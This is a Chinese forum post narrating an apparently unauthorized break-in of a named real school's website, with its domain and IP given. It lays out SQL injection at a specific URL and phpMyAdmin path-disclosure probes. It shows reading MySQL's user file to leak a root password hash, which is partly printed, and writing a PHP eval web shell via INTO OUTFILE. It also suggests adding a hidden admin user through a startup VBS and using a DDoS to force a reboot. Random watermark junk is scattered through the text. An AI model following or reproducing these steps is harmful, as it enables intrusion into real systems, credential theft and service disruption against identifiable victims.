友情检测湖北省大治市第一中学

admin

第一眼看去，好像全是html静态的，都知道静态的根本不好日，多点击几个专栏
发现这个：http://www.dyyz.net.cn/celebrate/list.php?id=3  -0  -1 判断后确认存在注入！



常规手工不行，尝试突破也不行，利用穿山甲 可以注入：root权限
5 c, O; e3 E% d8 K
9 v: L* m2 T  l) V$ i0 J6 p6 P那么想可以直接写入shell ，getshell有几个条件：
: b. ~7 ]/ \2 K! v  b* B

1、知道站点物理路径

2、有足够大的权限

3、magic_quotes_gpc()=OFF

; v/ Z& Q4 b& W% B; h% c( l试着爆绝对路径：
1./phpMyAdmin/index.php?lang[]=1  
2./phpMyAdmin/phpinfo.php  
3./load_file()  
4./phpmyadmin/themes/darkblue_orange/layout.inc.php  
5./phpmyadmin/libraries/select_lang.lib.php  
" B+ h" p: P. a6./phpmyadmin/libraries/lect_lang.lib.php  
7./phpmyadmin/libraries/mcrypt.lib.php   
8./phpmyadmin/libraries/export/xls.php  
0 r: Z4 c: m; `/ \) S  h
均不行...........................

! I# J% M  A$ `0 A' C. b御剑扫到这个：http://www.dyyz.net.cn//phpinfo.php       获得网站路径：D:/www/phpinfo.php
) T( E$ t) H( A2 N( S0 d0 P( [
权限为root，知道网站路径，可是条件3不符合，没法写入shell ，不过服务器存在phpmyadmin

2 G/ J* G& g( M% E% b: l默认不行，尝试万能密码：帐号 'localhost'@'@" 密码空 ，登录失败
2 m, V) J: N* f& y
; {, L+ b7 ?* b. U) n( e敏感东西：http://202.103.49.66/Admincp.php  社工进不去...........

想想root还可以读，读到root密码进phpmyadmin 也可以拿shell
) N) M% Q5 K' V4 L0 g1 H  ]
' J+ M8 l, X4 u: ^4 dhttp://www.dyyz.net.cn//phpinfo.php  泄露了D:\phpStudy\PHP5\php.ini

9 P  M8 ]2 W7 ]自己修改好读root密码的路径：D:\phpStudy\MySQL\Data\mysql\user.MYD
- o- ^( l; w# i0 \3 \1 p
成功读到root密码：
% f6 S/ ]' ~6 C8 p, R; W
' i! a# H$ C4 L  H1 c8 r17---- r(0072)
18---- o(006f)
; R. V2 F+ t+ v5 S* }19---- o(006f)
2 K) e' N* V4 X" F6 w+ F: x20---- t(0074)
21---- *(002a)
22---- 8(0038)
23---- 2(0032)
6 D8 c' B+ v5 O8 t* \: k24---- E(0045)
25---- 1(0031)
, J. q- ?) k# ]* L" j- k; R/ t  ~# `26---- C(0043)
27---- 5(0035)
28---- 8(0038)
29---- 2(0032)
& Q# O% X% x' S5 t; C30---- 8(0038)
9 \3 D1 K; O4 o3 p31---- A(0041)
32---- 9(0039)
; v: o& s6 _, s9 i( }7 W  F* _4 }33---- B(0042)
34---- 5(0035)
1 x, {7 J) b0 @, b35---- 4(0034)
36---- 8(0038)
( G' N' t: v9 f1 n$ C9 _37---- 6(0036)
5 d" r" \. z2 @3 X0 T3 n* p- I. d/ n38---- 4(0034)
39---- 9(0039)
40---- 1(0031)
. {! ^) H1 C; D! f. [3 i5 P41---- 1(0031)
% b% Y" A! J2 W* ]- i/ s42---- 5(0035)
9 ~! T8 v7 O/ B. t* l4 Z0 V43---- 3(0033)
44---- 5(0035)
45---- 9(0039)
46---- 8(0038)
+ ?0 V' j( S) [5 ~0 j+ r" @47---- F(0046)
48---- F(0046)
( l! g! H2 C  ^1 C49---- 4(0034)
5 |' B( q8 V" r50---- F(0046)
51---- 0(0030)
52---- 3(0033)
53---- 2(0032)
54---- A(0041)
55---- 4(0034)
+ l- _: b8 M, w( Y8 I56---- A(0041)
1 P. W/ c' F/ {: n57---- B(0042)
58---- *(0044)
59---- *(0035)
60---- *(0041)
3 z+ U2 z: V" m0 {! f; o61---- *0032)

4 ~  j1 U" y+ u解密后成功登陆phpmyamin
6 r) p' D# W, R' B' \* _! j                          
. z" Y  j0 A  A( o& H2 v
+ E6 m7 b) ~0 p. m& R. e                             
, v4 F$ [; {* v; a: s) T( z
- l/ X3 s1 X, j% u" V# `找到mysql数据库，执行sql语句：elect '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/daxia.php'
% V! T1 u4 G7 l! f/ X5 {, }: S
成功执行，拿下shell，菜刀连接：
, h, }. G) v! c
服务器不支持asp,aspx,php提权无果...................

" N0 I$ d) U! T9 B  _; ^& i( M& |但服务器权限很松，上传个远控小马或是一个添加用户的vbs程序到启动里：
4 W6 `4 f" ?% I- ^& t* p! d

服务器上已经有个隐藏帐号了

7 X& J0 \7 ^8 q( q; S9 m* Z3 ]

别名     administrators
注释     管理员对计算机/域有不受限制的完全访问权

; _1 I) x0 K4 d2 a1 q( v, @

成员

- T0 Q' T( v0 B( z# ~& t$ G0 T

-------------------------------------------------------------------------------
3 W. |# }* D* u/ wadmin
Administrator
slipper$
sqluser
命令成功完成。
% L- O! T7 F9 H
% P$ |, r0 e' W) p2 M0 |6 c/ `服务器权限很松，上传个vbs添加用户的到启动，不要用bat，会开机的时候显示运行批处理的。

- v4 s# d, O. T0 O/ T% Gddos服务器重启，不然就只能坐等服务器重启了...............................
7 @; C* w) q9 ?7 E; N# ?1 ^0 G
) K' E2 t* v$ ^- p; G# e% @      

& J$ V6 ?# r. x( c% J3 H

angel